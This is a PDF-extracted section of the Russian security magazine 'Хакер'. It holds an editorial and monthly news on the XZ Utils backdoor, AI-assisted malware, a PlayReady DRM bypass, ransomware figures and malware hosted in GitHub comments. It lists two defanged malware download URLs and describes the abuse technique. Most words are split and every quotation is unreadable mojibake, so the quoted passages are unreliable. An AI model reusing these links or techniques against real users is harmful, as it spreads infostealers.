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Пос ледние лет десять-пят надцать у меня
час то воз никало ощу щение, что взрыв ной
рост тех нологий закан чива ется. Дав но
не было такого, как в девянос тые и начале
двух тысяч ных, ког да компь юте ры уста рева- 
ли за нес коль ко лет, а айтиш ные новос ти
ежед невно будора жили ум. Толь ко вот
это ощу щение пол ностью лож ное!

По ясню, что я имею в виду под взрыв ным рос том. Возь мем, нап ример,
2006 год, ког да я впер вые вышел на работу в редак цию онлай новой «Компь- 
ютер ры». Тог да откры лись YouTube и Twitter, зарели зилась Windows Vista,
начали про давать ся мак буки на про цес соре Intel Core, тоже новень ком.

На сле дующий год появи лись iPhone и Android, а регис тра ция в Facebook
ста ла дос тупна не толь ко уче никам аме рикан ских кол леджей. Сле дующий
год — Google Chrome и App Store. И так далее: вещи, которы ми мы поль зуем- 
ся до сих пор (Windows Vista не в счет), сыпались на голову с порази тель ной
куч ностью.

Ог лянув шись назад, мож но ска зать, что всё логич но: челове чес тво сроч но
пожина ло пло ды, при несен ные появ лени ем сна чала ПК, потом интерне та,
а потом сотовых сетей и смар тфо нов. Не может же это про дол жать ся веч но?
Ска зать слож но, но пока, похоже, про дол жает ся.

Не дав но я пот ратил вечер на то, что бы отоб рать бес плат ные статьи
«Хакера», которые мож но было бы пос тить в соц сети по выход ным. Пос коль ку
матери алы, опуб ликован ные до 2015 года, как раз все бес плат ны, это оче- 
вид ные кан дидаты. Толь ко вот уро вень уста рева ния там такой, что смот реть
страш но.

В пер вую оче редь уста рело всё свя зан ное с телефо нами. Android и iOS
десяти лет ней дав ности выг лядят пещер ными, а советы их поль зовате лям
походят на руководс тва по затачи ванию кам ней и копанию ловушек
на мамон тов.

Ус тарели и матери алы про веб-раз работ ку. Не помог ло даже то, что
«Хакер» в этой теме как раз тог да был на перед нем краю и писал про вся кие
мод ные шту ки вро де Meteor.js. Где теперь тот мете ор? Веб-раз работ ка
за десять лет сде лала столь ко прыж ков и кувыр ков, что сле дить за этой акро- 
бати кой — нуж на еще одна редак ция.

От дель ное удо воль ствие — читать ста рые статьи про крип товалю ты, где
биток сто ит 800 бак сов, а автор рас сужда ет, будет ли у крип ты жизнь пос ле
окон чания вол ны хай па в 2014 году. Еще как будет, милый! Да такая, что
за вол нами сем надца того и девят надца того годов ту пер вую теперь уже и не
раз гля деть.

Ну и конеч но, мак сималь но наив но выг лядят ста рые статьи про ИИ. Да,
десять лет назад уже появи лись свер точные ней росети и уже казались чудом
из чудес. Но пред ста вить, нас коль ко эта тема разовь ется в двад цатых годах,
тог да было нере аль но.

А ведь это толь ко те темы, о которых пишет «Хакер». За пос леднее десяти- 
летие, нап ример, пол ностью пре обра зились сер висы дос тавки, и никого
боль ше не удив ляет воз можность получать поч ти любые товары на сле- 
дующий день (если не через двад цать минут) пос ле заказа. Рав но как не
удив ляет и мгно вен ная арен да самока тов и даже авто моби лей.

При этом и то и дру гое — все го лишь пос ледс твия мас сового рас простра- 
нения смар тфо нов. Те же ней рон ки у нас на гла зах прош ли путь от пер вых
кон цептов до жиз неспо соб ных про дук тов. А даль ше — все боль ше и боль ше
при мене ний, меня ющих целые отрасли и аспекты жиз ни.

Да, сегод ня мож но рас суждать о том, породит ли Apple Vision оче ред ную
револю цию пря мо сей час, или подож дем AR-девай са подешев ле и полег че.
Или, взять, нап ример,  — пос леднюю из ней росетей OpenAI. Мож но
пожимать пле чами: мол, кому нуж ны эти стран новатые сге нери рован ные
видео? Но на них-то раз витие не кон чится, и даль ше мож но ждать новых
и новых спо собов получить от компь юте ра нуж ную кар тинку.

Sora

И опять мож но взять шире. Раз витие око локомпь ютер ных штук мы
еще худо-бед но себе пред став ляем, но прог ресс зат ронет и дру гие области.
Медики и биоло ги, к при меру, все эти десять лет бал деют от воз можнос ти
редак тировать геном методом CRISPR-Cas9. А что, если в иссле дова ниях
будет помогать еще и сов ремен ный ИИ?

Или вот можешь почитать, как Хан ну Рай ани еми (один из моих любимых
писате лей-фан тастов, а ныне соос нователь и CEO стар тапа HelixNano) 

 о компь ютер ной ауг мента ции иммунной сис темы. По дороге он
еще ссы лает ся на инте рес ный кар манный девайс под наз вани ем 

, пред назна чен ный для сек вениро вания генома. Эта кий Flipper Zero
для биоме диков.

рас- 
сужда ет

MinION
Mk1B

Так что, может быть, сегод ня рил сы, где люди  в Apple Vision на само- 
управля емых кибер тра ках и  роботов Boston Dynamics, — это ско- 
рее хох ма, но нас тро ение они переда ют вер ное: будущее уди витель но и нас- 
тупа ет хоть и незамет но, но неот вра тимо.

ез дят
вы гули вают

mailto:apismenny@gmail.com
https://openai.com/index/sora
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https://www.youtube.com/watch?v=U22tEFkI2iQ
https://www.tiktok.com/@zacalsop/video/7332159432366886176


 «Mifrill» Мария Нефёдова
nefedova@glc.ru

В этом месяце: в XZ Utils обна ружи ли бэк дор, Microsoft опуб- 
ликова ла исходни ки MS-DOS 4.00 под лицен зией MIT, через
ком мента рии GitHub и GitLab рас простра няет ся мал варь,
YouTube про дол жает борь бу с бло киров щиками рек ламы,
в пинь инь-кла виату рах наш ли мно жес тво проб лем, а так же
дру гие инте рес ные события про шед шего апре ля.

БЭКДОР В XZ UTILS
В популяр ном пакете XZ Utils для сжа тия дан ных без потерь и работы с фор- 
матом .xz обна ружи ли бэк дор. Проб лема зат рагива ет прак тичес ки все
основные дис три бути вы Linux, и не толь ко их. Судя по все му, зло умыш ленни- 
ки нес коль ко лет готови ли эту ата ку и вти рались в доверие к соп ровож дающе- 
му про екта XZ Utils.

Бэк дор, который получил иден тифика тор  (и десять бал лов
из десяти воз можных по шка ле CVSS),  спе циалист ком- 
пании Microsoft и раз работ чик про екта PostgreSQL Андрес Фрой нд (Andres
Freund).

CVE-2024-3094
слу чай но обна ружил

По его собс твен ным , он занимал ся мик робен чмар кингом и пытал- 
ся ста били зиро вать сис тему, ког да обра тил вни мание на повышен ную наг- 
рузку на про цес сор со сто роны демона SSH, что вызыва ло задер жки и уве- 
личи вало вре мя вхо да в сис тему. Изу чение проб лемы при вело Фрой нда
к слож ному вре донос ному коду в XZ Utils. Извес тно, что бэк дор появил ся в XZ
Utils вер сий 5.6.0 (опуб ликова на 23 фев раля) и 5.6.1 (опуб ликова на 9 мар та).

сло вам

Так как XZ Utils и вхо дящая в его сос тав биб лиоте ка liblzma очень популяр- 
ны и вклю чены в боль шинс тво дис три бути вов Linux (а так же исполь зуют ся
мно жес твом при ложе ний для Linux и macOS), обна руже ние бэк дора взбу- 
дора жило все опен сор сное сооб щес тво.

На личие бэк дора под твер дили раз работ чики  (40 Beta и Rawhide),
 (Sid),  (Tumbleweed и MicroOS),  (Rolling), 

и  (Rolling).

Fedora
Debian openSUSE Kali Linux Gentoo

Arch Linux
Так же опас ные вер сии XZ Utils успе ли про ник нуть в  и ,

и длин ный спи сок пос тра дав ших про ектов, ско рее все го, про дол жит попол- 
нять ся. К счастью, как мож но заметить, вре донос ный код в основном доб- 
рался лишь до бета-вер сий и вер сий для раз работ чиков, то есть не успел
попасть в ста биль ные релизы и получить по-нас тояще му широкое рас- 
простра нение.

Homebrew OpenWrt

За появ ление бэк дора в коде XZ Utils ответс тве нен некий Цзя Тань (Jia
Tan), так же извес тный под ником JiaT75. Судя по вер сиям деталь ной хро ноло- 
гии событий ( , ), сос тавлен ным раз работ чиком Эва ном Бох сом (Evan
Boehs) и экспер том Google Рас сом Кок сом (Russ Cox), ата ка на XZ Utils и его
соп ровож дающе го Лас се Кол лина (Lasse Collin aka Larhzu) началась
еще в 2021 году, ког да на GitHub был соз дан акка унт JiaT75.

1 2

Опе рация по внед рению бэк дора пред став ляла собой слож ную, про- 
думан ную ата ку, и мно гие полага ют, что за про изо шед шим мог ли сто ять про- 
фес сиона лы из спец служб, а Цзя Тань — пол ностью вымыш ленная лич ность.

Так, JiaT75 и его веро ятные сооб щни ки исполь зовали нес коль ко под став- 
ных акка унтов, что бы пос тепен но убе дить Кол лина при нять помощь Цзя Таня
в работе над про ектом и усту пить мес то новому мей нтей неру. В то вре мя
у Кол лина дей стви тель но был слож ный пери од из-за 

, и он не мог уде лять XZ Utils дол жно го вни мания.
проб лем с пси хичес ким

здо ровь ем
Так же уже обна ружи лось, что Цзя Тань не толь ко работал над пос тепен- 

ным внед рени ем в про ект бэк дора, но и про являл активность за пре дела ми
XZ Utils. Нап ример, был най ден  в Google OSS-Fuzz, приз ванный
скрыть бэк дор. Кро ме того, JiaT75 пытал ся давить на раз работ чиков 
и , что бы те пос корее обно вились до опас ных вер сий XZ Utils.

пул-рек вест
Fedora

Ubuntu
Ког да инци дент получил боль шой резонанс, из сооб ражений безопас- 

ности GitHub заб локиро вал репози тории ,  и , а так же
акка унты Кол лина и JiaT75. Сам Лас се Кол лин  XZ
Utils на сай те про екта tukaani.org, куда Цзя Тань не имел дос тупа.

xz xz-java xz-embedded
под твер дил ком про мета цию

При этом сооб щает ся, что бэк дор был внед рен не в репози торий XZ Utils,
а в TAR-архи вы. Так, вре донос ный код серь езно обфусци рован, и его мож но
обна ружить толь ко в пол ном пакете заг рузки, а не в Git-дис три бути ве, где
отсутс тву ет мак рос M4, запус кающий про цесс бил да бэк дора. Если же вре-
донос ный мак рос при сутс тву ет, арте фак ты вто рого эта па из Git-репози тория
внед ряют ся во вре мя сбор ки.

Схе ма работы бэк дора, сос тавлен ная спе циалис том Microsoft Томасом Роч чей

«

»

«Ïîëó÷åí íàÿ âðå äîíîñ íàÿ ñáîð êà âìå øèâà åòñÿ â àóòåí òèôèêà öèþ

sshd ÷åðåç systemd. SSH — ýòî øèðîêî èñïîëü çóåìûé ïðî òîêîë

äëÿ óäà ëåí íîãî ïîä êëþ ÷åíèÿ ê ñèñ òåìàì, à sshd — ñëóæ áà, îáåñ- 

ïå÷èâà þùàÿ äîñ òóï, — ïèñàëè ñïå öèàëèñ òû Red Hat. — Ïðè óäà÷ íîì

ñòå ÷åíèè îáñòî ÿòåëü ñòâ ýòî âìå øàòåëü ñòâî ìîæåò ïîç âîëèòü çëî- 

óìûø ëåííè êó îáîé òè àóòåí òèôèêà öèþ sshd è ïîëó÷èòü íåñàí êöè îíè- 

ðîâàí íûé óäà ëåí íûé äîñ òóï êî âñåé ñèñ òåìå».

Од нако теперь, ког да ана лизом бэк дора занима ются мно гие ИБ-спе циалис- 
ты, , что, по сути, он перех ватыва ет и перенап равля ет опе рации
рас шифров ки клю чей SSH RSA (фун кцию ). И это поз воля- 
ет ата кующе му изме нять спо соб работы ПО при выпол нении опе раций, свя- 
зан ных со сжа тием или рас паков кой lzma, переда вать спе циаль ные аргу мен- 
ты во вре мя опе рации SSH-аутен тифика ции и выпол нять про изволь ный код
на уда лен ных сис темах, при этом не оставляя сле дов в логах.

вы ясня ется
RSA_public_decrypt

Ис сле дова тели, раз работ чики и даже Агентство по кибер безопас ности
и защите инфраструк туры США (CISA)  всех сроч но про вес ти даун- 
грейд XZ Utils до незат ронутой вер сии (нап ример, 5.4.6 Stable).

приз вали

Эк спер ты же про дол жают изу чать сам бэк дор ( , , ), а так же ана лизи- 
руют вклад Цзя Таня в дру гие про екты, помимо XZ Utils, так как любые его
ком миты и пред ложения теперь рас смат рива ются как потен циаль но опас ные.

1 2 3

 СЕРЫХ SIM-КАРТ300 000

По зап росу Рос комнад зора опе рато ры свя зи бло киру ют в сред нем око ло  SIM-карт
в неделю в рам ках борь бы с «серым» рын ком. Опе рато ры говорят, что боль шинс тво бло киро вок
про исхо дит из-за невер ных дан ных або нен тов, которые затем их обновля ют и могут вос ста- 
новить дос туп к услу гам свя зи.

300  000

С сен тября по декабрь 2023 года опе рато ры свя зи прек ратили ока зание услуг по более чем
 номеров с неус танов ленны ми вла дель цами.600 000

ИИ ПИШЕТ МАЛВАРЬ
Ана лити ки Proofpoint заяви ли, что зло умыш ленни ки исполь зуют для рас- 
простра нения инфости лера Rhadamanthys PowerShell-скрипт, соз данный
при помощи ИИ (нап ример, ChatGPT ком пании OpenAI, Gemini ком пании
Google или CoPilot ком пании Microsoft).

Изу чен ный спе циалис тами скрипт исполь зовал ся в мар те текуще го года,
в рам ках фишин говой кам пании, нацелен ной на десят ки орга низа ций в Гер- 
мании. По дан ным иссле дова телей, в этой поч товой кам пании хакеры
выдава ли себя за пред ста вите лей Metro cash-and-carry, исполь зуя инвой сы
в качес тве при ман ки.

Об наружен ная активность свя зана с хакер ской груп пой TA547 (она же
Scully Spider), которая к тому же выс тупа ет бро кером пер воначаль ных дос- 
тупов. Scully Spider активны как минимум с 2017 года, и за эти годы они рас- 
простра няли самую раз ную мал варь для Windows (ZLoader/Terdot, Gootkit,
Ursnif, Corebot, Panda Banker и Atmos) и для Android (Mazar Bot и Red Alert).

Но в пос леднее вре мя груп па перек лючилась на модуль ный инфости лер
Rhadamanthys, который пос тоян но рас ширя ет свои воз можнос ти по сбо ру
и кра же дан ных (из буфера обме на, бра узе ра, cookie). Этот сти лер рас- 
простра няет ся сре ди кибер прес тупных групп с сен тября 2022 года по модели
Malware-as-a-Service (MaaS, «мал варь как услу га»).

По дан ным Proofpoint, пись ма зло умыш ленни ков содер жали защищен ный
паролем MAR26 ZIP-архив, в котором находил ся вре донос ный файл .LNK.
Обра щение к фай лу ярлы ка запус кало PowerShell для выпол нения уда лен ного
скрип та.

Ана лизи руя PowerShell-скрипт, заг ружа ющий Rhadamanthys, иссле дова- 
тели замети ли, что тот содер жит мно жес тво сим волов #, за которы ми сле дуют
отдель ные ком мента рии для каж дого ком понен та. Такое нечас то встре чает ся
в коде, написан ном челове ком. Экспер ты пишут, что подоб ное ско рее харак- 
терно для кода, соз данно го генера тив ным ИИ, нап ример ChatGPT, Gemini
или CoPilot.

Хо тя спе циалис ты не уве рены до кон ца, что PowerShell-скрипт написан
при помощи LLM, его содер жимое наводит на мыс ли о том, что теперь
TA547 исполь зует генера тив ный ИИ для написа ния или перера бот ки сво их
инс тру мен тов. К тому же сами иссле дова тели поп робова ли соз дать ана- 
логич ный скрипт с помощью LLM и приш ли к выводу, что скрипт TA547 тоже
мог быть сге нери рован ИИ.

Нап ример, по сло вам иссле дова телей, раз работ чики обыч но прек расно
пишут код, но их ком мента рии зачас тую малопо нят ны и содер жат грам- 
матичес кие ошиб ки.

«
»

«PowerShell-ñêðèïò, ïðåä ïîëîæè òåëü íî ñîç äàííûé LLM, òùà òåëü íî

çàêîì ìåíòè ðîâàí ñ áåçóï ðå÷íîé ãðàì ìàòèêîé. Ïî÷ òè êàæ äàÿ ñòðî êà

êîäà ñîï ðîâîæ äàåò ñÿ ñîîò âåòñ òâó þùèì êîì ìåíòà ðèåì», — îòìå ÷àþò

â Proofpoint.

МАСК БОРЕТСЯ С БОТАМИ
Пос ле при обре тения ком пании Twitter (теперь X) в 2022 году Илон Маск пыта ется бороть ся
с засиль ем ботов и спа мер ских акка унтов на плат форме. Так как эти уси лия не при носят осо- 
бых успе хов, теперь в ком пании рас смат рива ют воз можность сде лать пуб ликацию сооб щений
плат ной для новых поль зовате лей.

В октябре прош лого года X уже начала взи мать пла ту в раз мере дол лара в год с новых
невери фици рован ных поль зовате лей в Новой Зелан дии и на Филип пинах. Без опла ты такой
поль зователь может толь ко читать сооб щения. Теперь этот под ход могут рас ширить и на дру гие
стра ны.

→ «К сожале нию, неболь шая пла та за воз можность писать сооб щения
для новых поль зовате лей — единс твен ный спо соб обуз дать неп рекра щающий ся
натиск ботов. Нынеш ний ИИ (и фер мы трол лей) с лег костью обхо дят бот-тес ты.
К тому же нашес твие фей ковых акка унтов исполь зует дос тупное прос транс тво
имен, поэто му мно гие хорошие име на в резуль тате ока зыва ются заняты», —
пишет Илон Маск в X, добав ляя, что мера зат ронет толь ко новые учет ные
записи и через три месяца пос ле регис тра ции поль зовате ли смо гут писать бес- 
плат но.

ИСХОДНИКИ MS-DOS
4.00
Microsoft опуб ликова ла исходный код , бинар ники, обра зы дис- 
ков и докумен тацию. Теперь исходный код, которо му поч ти 45 лет, дос тупен
под лицен зией MIT, то есть мож но сво бод но с ним работать, изме нять и рас- 
простра нять его.

MS-DOS 4.00

Де сять лет назад Microsoft уже  исходни ки MS-DOS 1.25 и 2.0
, а затем пов торно опуб ликова ла их и на

. В ком пании отме чают, что этот код занима ет важ ное мес то в исто рии
опе раци онной сис темы, которая была пол ностью написа на на ассем бле ре
для 8086 поч ти пол века назад.

пе реда вала
Му зею компь ютер ной исто рии
GitHub

Те перь был обна родо ван и исходный код MS-DOS 4.00, отны не дос тупный
под лицен зией MIT. В Microsoft напоми нают, что MS-DOS 4.00 — это доволь- 
но инте рес ная вер сия, написан ная сов мес тно с IBM. В прош лом имен но
от MS-DOS 4.00 было обра зова но ответ вле ние Multitasking DOS (или MT-
DOS), которое в ито ге не получи ло широко го рас простра нения.

Пред ста вите ли Microsoft рас ска зали, что этот релиз уви дел свет бла года- 
ря перепис ке меж ду быв шим тех ничес ким дирек тором Microsoft Рэем Оззи
(Ray Ozzie) и молодым бри тан ским иссле дова телем Кон нором Хай дом
(Connor Hyde), так же извес тным под ником Starfrost.

Де ло в том, что мно гие исходни ки и матери алы, теперь дос тупные
на GitHub, были пре дос тавле ны Оззи. Ког да-то дав но он работал в ком пании
Lotus и ему прис лали нес коль ко неиз данных бета-вер сий MS-DOS 4. С тех
пор Оззи хра нил дис кеты в надеж ном мес те, а недав но нашел их по прось бе
Хай да.

В ито ге Starfrost свя зал ся с отде лом Microsoft, который занима ется откры- 
тым исходным кодом (Microsoft Open Source Programs Office, OSPO), что бы
изу чить воз можность пуб ликации исходни ков DOS 4. Ведь сам Хайд работа ет
над докумен тирова нием вза имос вязей меж ду DOS 4, MT-DOS и тем, что
в ито ге ста ло OS/2.

От меча ется, что некото рые более поз дние вер сии бинар ников Multitasking
DOS мож но было най ти в интерне те, но бета-вер сии Оззи — это более ран- 
ние копии, которые не выпус кались до это го.

В ито ге вице-пре зидент сооб щес тва раз работ чиков Microsoft Скотт Хан- 
сель ман (Scott Hanselman) и интернет-архи вист и энту зиаст Джефф Спо нагл
(Jeff Sponaugle) соз дали обра зы этих ори гиналь ных носите лей и отска ниро- 
вали пре дос тавлен ные ори гиналь ные печат ные докумен ты.

Кро ме того, спе циалис ты Microsoft и OSPO покопа лись в архи ве ком- 
пании. Хотя им не уда лось най ти пол ный исходный код MT-DOS, они обна- 
ружи ли MS-DOS 4.00, которая теперь дос тупна на GitHub, а так же допол- 
нитель ные бета-вер сии бинар ников, PDF-докумен тацию и обра зы дис ков.
В ком пании обе щают, что допол нят релиз, если попадет ся еще что-нибудь
инте рес ное.

«
»

«Åñëè âû çàõîòè òå çàïóñ òèòü ýòî ÏÎ ñàìîñ òîÿòåëü íî, íàì óñïåøíî

óäà ëîñü çàïóñ òèòü åãî íà îðè ãèíàëü íîì IBM PC XT, áîëåå íîâîì

Pentium, à òàê æå â îïåí ñîð ñíûõ ýìó ëÿòî ðàõ PCem è 86Box», — îòìå- 

÷àþò â êîì ïàíèè.

В лич ном бло ге Кон нор Хайд под робно  о том, что MS-DOS
4.00 была уни каль на и, нап ример, обла дала опре делен ными воз можнос тями
для мно гоза дач ности, а в ито ге лег ла в осно ву OS/2.

рас ска зыва ет

Так, одной из клю чевых сос тавля ющих мно гоза дач ности MS-DOS 4.00 был
менед жер сес сий (SM.EXE). Хайд объ ясня ет, что этот ком понент сис темы
поз волял исполь зовать горячие кла виши и перек лючать ся меж ду заранее
опре делен ными при ложе ниями (таковых мог ло быть до шес ти). Одна ко, судя
по собс твен ным тес там иссле дова теля, в работе SM.EXE наб людались серь- 
езные ошиб ки, поэто му его исполь зование было не слиш ком целесо образно.

 DDOS-АТАК НА СФЕРУ ЭНЕРГЕТИКИ2500

Спе циалис ты ГК «Солар» под счи тали, что в пер вом квар тале 2024 года про изош ло более 
DDoS-атак на сфе ру энер гетики. Это в  пре выша ет показа тель пре дыду щего квар тала
и поч ти в  — показа тель ана логич ного пери ода 2023 года.
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Пос тепен ный рост атак на энер гетичес кий сек тор начал ся еще в 2023 году. Так, в пер вом квар- 
тале было совер шено более  DDoS-атак на пред при ятия отрасли, а к чет верто му квар талу
их уже было .

280
755

Нес мотря на всплеск DDoS в энер гетике, отрасль находит ся толь ко на  мес те в переч не
наибо лее ата куемых отраслей. Лидиру ет же , доля которо го в общем объ еме DDoS-
атак сос тавила .

8-м
гос сектор

15%

Тра дици онно это одна из наибо лее ата куемых сфер, наряду с , 
 и .

ИТ�ком пани ями те- 
леком�про вай дерами фи нан совыми орга низа циями

В общей слож ности в пер вом квар тале 2024 года экспер ты зафик сирова ли око ло 
DDoS-атак на рос сий ские орга низа ции. Это поч ти в  пре выша ет показа- 
тель 2023 года за ана логич ный пери од (  атак), и это самый высокий квар таль ный
показа тель за пос ледний год.

119  000
два раза

64  000

Са мый про дол житель ный DDoS длил ся  дней, а мак сималь ная мощ ность сос тавила 
.
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ВЗЛОМ DRM
MICROSOFT
Ос нователь и гла ва поль ской иссле дова тель ской ком пании AG Security
Research (ранее Security Explorations) Адам Гов дяк (Adam Gowdiak) заявил,
что обна ружил уяз вимос ти в тех нологии защиты кон тента PlayReady ком пании
Microsoft. По его сло вам, эти проб лемы могут поз волить недоб росовес тным
под писчи кам стри мин говых сер висов незакон но ска чивать филь мы.

Гов дяк известен сво ими иссле дова ниями в области безопас ности Java ( ,
, ), а так же телеви зион ных и стри мин говых , и эти ресер чи за пос- 

ледние 16 лет не раз попада ли на пер вые полосы изда ний. Но если ранее его
иссле дова ния были пос вящены плат формам спут никово го ТВ, телеви зион- 
ным прис тавкам и DVB, то в пос леднее вре мя Гов дяк занима ется воп росами
защиты циф рового кон тента и их вли янием на стри мин говые плат формы.

1
2 3 плат форм

К при меру, еще в 2022 году Гов дяк  инже нерам Microsoft, что ему
уда лось ска чать кон тент, защищен ный PlayReady, с Canal+, пре миаль ной
VOD-плат формы в Поль ше. Это иссле дова ние вклю чало взлом телеви зион- 
ных прис тавок для получе ния клю чей, необ ходимых для дос тупа к защищен- 
ному кон тенту.

со общил

Тог да Canal+ про игно риро вала попыт ки иссле дова теля добить ся устра- 
нения уяз вимос ти, а год спус тя и вов се сооб щила, что зак рыва ет уяз вимую
плат форму. То есть в ком пании так и не приз нали работу Гов дяка. А в
Microsoft тог да заяви ли СМИ, что «опи сан ные проб лемы каса ются нас тро ек,
кон тро лиру емых пос тавщи ком услуг, и безопас ности сто рон него кли ента»,
под чер кнув, что речь не идет об уяз вимос ти в служ бе или кли енте Microsoft.

Од нако Гов дяк про дол жил изу чать безопас ность Microsoft PlayReady
и теперь обра тил вни мание на меж дународ ные стри мин говые сер висы,
которые исполь зуют PlayReady для защиты кон тента.

PlayReady пред став ляет собой тех нологию пре дот вра щения копиро вания
меди афай лов, которая вклю чает в себя шиф рование, пре дот вра щение
вывода и DRM. Microsoft утвер жда ет, что это «самая рас простра нен ная тех- 
нология защиты кон тента в мире».

В новом иссле дова нии Гов дяк обо шел ся без взло ма телеви зион ных прис- 
тавок. Теперь ата ка нап равле на на сами тех нологии Protected Media Path
(PMP), которые обес печива ют безопас ность кон тента в сре дах Windows,
а так же на ком пилятор Warbird, раз работан ный Microsoft для усложне ния
реверс-инжи нирин га ком понен тов Windows.

Най ден ные им уяз вимос ти в ком понен тах PMP могут исполь зовать ся
для получе ния дос тупа к тек сто вым клю чам кон тента, которые защища ет
PlayReady. И эти клю чи могут поз волить вошед шему в сис тему поль зовате лю
рас шифро вать кон тент популяр ных стри мин говых сер висов.

«

»

«Àòà êà îñó ùåñò âëÿ åòñÿ ÷åðåç èñïîëü çîâàíèå âðå ìåí íîãî îêíà,

â òå÷åíèå êîòîðî ãî êëþ ÷è êîí òåíòà èìå þò XOR-ôîð ìó, — òåê ñòî âîå

çíà ÷åíèå òàêèõ êëþ ÷åé ìîæåò áûòü ïîëó÷å íî ñ ïîìîùüþ ïðîñ òîé îïå- 

ðàöèè XOR ñ 128-áèò íîé êëþ ÷åâîé magic-ïîñ ëåäîâà òåëü íîñòüþ, —

ñîîá ùàåò ñÿ â áëî ãå Security Explorations. — Íàøè òåñ òû ïîêàçà ëè, ÷òî

â âåð ñèÿõ Windows, âûïóùåí íûõ ïîñ ëå 2022 ãîäà, èñïîëü çóþò ñÿ òîëü- 

êî äâå òàêèå ïîñ ëåäîâà òåëü íîñ òè (îäíà äëÿ Windows 10, äðó ãàÿ

äëÿ Windows 11)».

В качес тве proof-of-concept иссле дова тель про демонс три ровал заг рузку
филь мов с Canal+ и получе ние клю ча кон тента для филь ма Netix. Одна ко
под черки вает ся, что эта ата ка может работать и про тив дру гих плат форм,
вклю чая HBO Max, Amazon Prime Video и Sky Showtime. Гов дяк утвер жда ет, что
ему уда лось ска чать филь мы в HD-качес тве на локаль ный накопи тель и прос- 
мотреть их с помощью Windows Media Player.

«

»

«Çëî óìûø ëåííè êó íóæ íà òîëü êî Windows è äîñ òóï (ïîä ïèñêà) ê ñòðè- 

ìèí ãîâîé ïëàò ôîðìå, — îáú ÿñíÿ åò Ãîâ äÿê. — Ëþáîé ïîëü çîâàòåëü

Windows ìîæåò èçâëå÷ü êëþ ÷è äëÿ ôèëü ìîâ èç ñòðè ìèí ãîâûõ ïëàò- 

ôîðì, êîòîðûå èñïîëü çóþò óÿç âèìóþ òåõ íîëîãèþ Microsoft PlayReady

äëÿ çàùèòû êîí òåíòà».

По ка спе циалист не обна родо вал никаких тех ничес ких под робнос тей и отме- 
тил, что экс плу ата ция багов не так прос та: иссле дова ние заняло девять
месяцев, в допол нение к шес ти месяцам, пот рачен ным на ана лиз PlayReady
еще в 2022 году.

Бо лее того, Гов дяк не пре дос тавил под робнос ти об уяз вимос тях даже
ком пании Microsoft. Дело в том, что он недово лен тем, как ком пания
отнеслась к его пре дыду щему отче ту об уяз вимос ти в PlayReady, ведь его
работа, по сути, была про игно риро вана.

Как пишет Гов дяк, на этот раз Microsoft зап росила допол нитель ную
информа цию о проб леме, сооб щив, что спе циалист может пре тен довать
на получе ние воз награж дения в рам ках прог раммы bug bounty. Но теперь
Гов дяк готов поделить ся информа цией с про изво дите лем толь ко в рам ках
ком мерчес кого сог лашения.

«

»

«Íîâîå èññëå äîâà íèå ñîäåð æèò ïîòåí öèàëü íî öåí íûå IP, íîó�õàó,

êîòîðûå íàì íóæ íî çàùèòèòü, — ãîâîðèò ýêñïåðò. — Ê òîìó æå ðàñ êðû- 

òèå íàøåãî íîó�õàó / íàáîðà èíñ òðó ìåí òîâ êîì ïàíèè Microsoft ìîæåò

ïîñ òàâèòü ïîä óãðî çó íàøè áóäóùèå ïðî åêòû, îðè åíòè ðîâàí íûå

íà ïëàò ôîðìó Windows».

Де ло в том, что в рам ках нового иссле дова ния Гов дяк и его кол леги раз- 
работа ли нес коль ко инс тру мен тов, в том чис ле набор для реверс-инжи- 
нирин га Warbird, поз воля ющий ана лизи ровать бинар ники, защищен ные
Warbird, а так же сниф фер для извле чения клю чей кон тента из про цес са PMP.

Пред ста вите ли Microsoft про ком менти рова ли ситу ацию так:

«
»

«Íàì èçâåñ òíî î ïðîá ëåìå, çàò ðàãèâà þùåé ïîä ìíî æåñ òâî êîí òåíòà,

â êîòîðîì èñïîëü çóåò ñÿ ïðîã ðàì ìíîå DRM-ðåøåíèå, è ìû ðàáîòà åì

íàä åå ðåøåíè åì ñîâ ìåñ òíî ñ íàøèìè ïàð òíå ðàìè».

 ДОЛЛАРОВ ВЫКУПОВ42 000 000

Сог ласно заяв лению ФБР, CISA, Евро пей ско го цен тра кибер прес тупнос ти Евро пола (EC3)
и Наци ональ ного цен тра кибер безопас ности Нидер ландов (NCSC-NL), с начала 2023 года шиф- 
роваль щик Akira взло мал сети более  орга низа ций и соб рал око ло  дол-
ларов в качес тве выкупов.

250 42  мил лионов

Обыч но опе рато ры Akira тре буют от пос тра дав ших выкуп в раз мере от  до 
 дол ларов, в зависи мос ти от раз мера взло ман ной орга низа ции.

200  тысяч нес- 
коль ких мил лионов

МАЛВАРЬ
В КОММЕНТАРИЯХ
GITHUB
Ха керы зло упот ребля ют GitHub для рас простра нения мал вари. Нап ример,
зло умыш ленни ки исполь зуют URL-адре са, свя зан ные с репози тори ями
Microsoft, в резуль тате чего фай лы кажут ся безопас ными.

Все началось с того, что экспер ты McAfee  о фаль шивом читер- 
ском ПО, которое на самом деле пред став ляло собой модифи кацию
инфости лера RedLine. В ходе изу чения этой кам пании иссле дова тели
замети ли, что вре донос ные полез ные наг рузки фаль шивых читов исполь зуют
URL-адре са, свя зан ные с GitHub-репози тори ем , при над лежащим ком- 
пании Microsoft:

рас ска зали

vcpkg

https://github(.)com/microsoft/vcpkg/les/14125503/Cheat.Lab.2.7.2.zip•
https://github(.)com/microsoft/STL/les/14432565/Cheater.Pro.1.6.0.zip•

Жур налис там изда ния Bleeping Computer показа лось стран ным, что репози- 
торий Microsoft рас простра няет мал варь с фев раля 2024 года, но ник то это го
не заметил, а ссы лок на упо мяну тые фай лы в исходном коде про екта обна- 
ружить не уда лось.

Пред ста вите ли изда ния решили разоб рать ся в ситу ации и выяс нили, что
фай лы не явля ются частью vcpkg, а были заг ружены в виде ком мента риев,
оставлен ных к ком митам и issue.

Де ло в том, что, оставляя ком мента рий на GitHub, поль зователь может
прик репить к нему про изволь ный файл, который в ито ге будет заг ружен
в CDN GitHub и свя зан с соот ветс тву ющим про ектом с помощью уни каль ного
URL в таком фор мате:

https://www.github(.)com/{project_user}/{repo_name}/files/{file_id}/{
file_name} 

Для видео и изоб ражений путь будет содер жать ./assets/
При этом вмес то генера ции URL пос ле пуб ликации ком мента рия GitHub

авто мати чес ки генери рует ссыл ку на ска чива ние сра зу пос ле добав ления
фай ла в еще не сох ранен ный ком мента рий. Это поз воля ет хакерам свя зывать
свою мал варь с любым репози тори ем без ведома его вла дель цев.

Бо лее того, даже если ком мента рий в ито ге не будет опуб ликован (или будет
